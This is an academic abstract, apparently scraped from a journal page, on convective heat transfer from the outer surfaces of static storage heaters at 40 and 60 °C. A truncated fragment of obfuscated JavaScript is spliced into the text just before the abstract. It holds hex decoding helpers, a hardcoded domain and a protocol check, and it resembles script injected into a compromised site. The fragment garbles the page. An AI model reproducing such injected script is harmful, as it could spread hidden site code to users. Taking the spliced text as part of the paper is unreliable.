Analysis of convective heat transfer from storage heater external surfaces

Abstract

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "etpo.khpi.edu.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;eThe aim of the article is to specify the parameters of the convective heat transfer between the outer surfaces of a static storage heater (a storage heater that has airways but it doesn’t have any fan) and the surrounding air. The article shows the heat transfer between the air at 20 °C (room temperature) and the outer surfaces of static storage heaters at two temperatures of 40 and 60 °C. The analysis is performed under the condition that all the surfaces of the device contact with the outside air (the device is placed on the feet) and natural convection occurs. In the analysis the influence of the device feet is neglected and its design is simplified to a rectangular block. The findings are compared with the characteristics of the existing models of storage heaters and used to determine the share of the outer surface convective heat transfer from the total heat output of the device. The factors that lead to the change of the convective heat transfer from the outer surfaces are analyzed. For storage heaters shown in the article with an output in the range from 800 to 3200 W the share of the convective heat transfer from the outer surfaces (1) at 60 °C is respectively 58 % and 31 % and (2) at 40 °C from 25 % to 13 %. The share of the convective heat transfer from the outer surfaces decreases during the growth of the device output, and consequently – the increase of its outer surface area. The share of the convective heat transfer from the outer surfaces increases due to the rise of the outer surface temperature. Also the convective heat transfer from only vertical outer surfaces is compared with the convective heat transfer from all outer surfaces. They are also compared at different outer surface temperatures for the same storage heater type.